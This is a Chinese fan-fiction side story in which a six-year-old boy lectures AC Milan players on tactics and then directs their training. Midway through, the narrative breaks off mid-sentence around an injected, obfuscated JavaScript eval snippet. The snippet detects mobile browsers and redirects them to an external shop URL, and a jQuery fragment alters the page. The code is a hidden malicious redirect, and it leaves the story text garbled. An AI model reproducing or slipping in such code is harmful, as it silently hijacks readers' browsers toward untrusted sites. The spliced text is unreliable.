无责任番外：赛后战术会议
那场比赛又赢了，3比0。马蒂亚那天穿了一件新球衣，号码是7，背上的名字印得太长，拖到腰线以下。他站在球员通道出口，等着最后一个球员走回来，然后他走进去。
他走到更衣室中间，双手叉腰，站定，像一棵小松树。
“安静一下。”
更衣室里本来很吵——有人在唱歌，有人在开香槟。但歌声停了。一个刚洗完澡还没穿上衣的球员停下来，手里拿着毛巾。加图索坐在角落，本来正低头解鞋带，抬起头看了他一眼。因扎吉靠在柜门上，手里拿着一瓶还没拧开的水。西多夫站起来，把音乐关小了。所有人都看着他。
“今天踢得不错。”马蒂亚说，“但有几个地方要改进。”
安切洛蒂从门口探进半个身子——手里拿着水杯，看了一眼更衣室里的画面。他看到十七个成年球员安静地围着一个六岁小孩，那个小孩正站在凳子旁边——因为直接站在地上看不到所有人的脸。
马蒂亚指了指因扎吉：“你那个单刀，跑早了。你越位了。”
因扎吉低着头憋着笑，但不敢抬头，像是在接受训话的队员，没有反驳。“知道了。下次我晚两秒再跑。”
马蒂亚转向加图索：“你那个铲球，太凶了。裁判没看到，但下次可能给黄牌。”
加图索哭笑不得的靠着柜子，看着他。“我知道了，马蒂亚。”
“但我喜欢你的铲球。”
“下次我压低。”加图索说。他拿起水杯，喝了一口。
马蒂亚又转向西多夫：“你有一个传球，方向错了。你传给右边的人，但那个人不在。”
西多夫看了他一眼，像是在等接下来的话。“那应该传给谁？”
马蒂亚站起来，没有凳子——他站在塑料凳子上，踮着脚，用战术板上的马克笔，在空气中画了一条线：“应该传给斜前方那个。他会跑到那里。”
西多夫安静了两秒钟。“你什么时候看的？”
“我在场边看的。”
全更衣室安静了片刻。
有人没忍住笑，但迅速用手捂住了嘴。马蒂亚没注意到。他把马克笔放下，然后扫视了一圈。全更衣室都站着，像是在参加一次赛后的正式总结会。
与此同时，门外传来了厚重的脚步声。
“差不多就这样。”马蒂亚说。“今天踢得很好。下次继续。”
他从凳子上下来，急急忙忙走向门口。走到门口他慌乱中停了一下，转身看着全更衣室：“明天训练我还会来的。”
“我们等你。”因扎吉说。语气是认真的，如果忽略他弯弯的眼角的话。
门啪的一下被打开，马蒂亚被保罗抱起来，“你小子跑哪里去了，不是让你在场边等我吗。”
马蒂亚偏头躲开保罗的蹭蹭，像个小大人一样说：“这是我的秘密。”
“和叔叔们说再见，我们要回家吃饭饭了。”保罗掂了两下马蒂亚。
马蒂亚依然是那副沉稳的神情，向更衣室的所有人摆了摆手。
所有人也兴奋的回应：“下次再来啊。”
马蒂亚走之后，更衣室安静了三秒钟。然后加图索靠回椅背，把水瓶放下：“他什么时候学会看越位的？”
西多夫坐在长椅上，双手撑着膝盖：“他平时在场边不是在玩球吗？”
“他是在看。”内斯塔说，“他在看我们。”
“那我们明天训练的时候要不要认真一点？”
加图索偏了一下头：“你平时在偷懒？”
“我是说——他要是来了，我们稍微让他看出来我们是个认真的大人，会听取别人意见的大人。”
“他看出来了。”西多夫说。“他刚才说加图索的铲球脚抬得太高。”
“我那脚铲球确实抬高了。”加图索说。
更衣室又安静了一次。
那天深夜。
保罗刚刚哄完马蒂亚睡觉，收到一条短信，是加图索发的：“明天训练，你儿子还来吗？”
保罗看着屏幕上那条消息，回了一句：“应该会来。”
加图索：“他要是指挥跑位，我们是配合还是不配合？”
保罗想了想：“配合就行。”
“配合到什么程度？”
保罗打字：“他要让你站哪你就站哪。他让你跑你就跑。反正就几分钟。”
加图索没回。过了很久，回了一个“好”。
保罗起身，亲吻了一下马蒂亚的额头，就轻轻出去了。
第二天训练中途休息时，马蒂亚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946956|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
果然又来了。
他站在场边的草皮外，没有进入场内，手里拿了一个哨子——是他自己带来的，不是真的裁判哨，只是一个带声响的塑料玩具哨子。
他吹了一下，所有人本来都在站着聊天，转头看向他。
西多夫站在中圈附近，他停了球，侧过头来看向那个方向。“教练？”他说。
马蒂亚说：“今天训练前，先站好。”
十几个球员站在训练场上，等着一个身高刚过膝盖的小孩开口说话。他走到他们面前，看了看每一个人，然后说：“今天你们跑位。”
马蒂亚指着右边：“你站那里。”
因扎吉走过去，站定。
马蒂亚指着中间：“你站中间。”加图索走过去，站定。
马蒂亚指着左边：“你站左边。”西多夫走过去，站定。
马蒂亚摆好了所有人的位置，点了点头。“大家试试吧。”
他转身走了，拿着那个塑料哨子，走到场边坐了下来。
一个成年球员站在中圈里，安静了两秒钟，面面相觑。然后西多夫说：“这是什么阵型？”
另一个球员说：“这是哄马蒂亚阵型，你就当玩过家家休息一下吧。”
加图索：“什么意思，我是中锋？”
皮尔洛：“把我放你对面什么意思，我铲你？”
内斯塔站在球门前：“那我这是什么意思啊？”
“意思就是！GOAL! ”因扎吉趁着大家混乱的时候，率先开始了攻击，内斯塔来不及反应，一个下地，想要把球铲走，但还是没够到。
“还没喊开始呢！”皮尔洛把球从网里掏出来，一个大脚开向对面。
迪达站在中场的位置上，在脑子思考之前，先把球用双手没收，然后对上了在对家球门前站着的舍甫琴科，有点尴尬地停下来。
“犯规！裁判！这里犯规！迪达用手了！”因扎吉跑过来时，顺便把迪达手里的球用膝盖一顶，撬出来。
....
安切洛蒂在训练场边上拿着水杯，远远看到这一幕——十七个成年球员，各自在一个六岁小孩安排的阵型里玩。
“要不让马蒂亚别当球员了，做我弟子吧。”
保罗脸一黑，想把安切洛蒂的嘴给蒙上。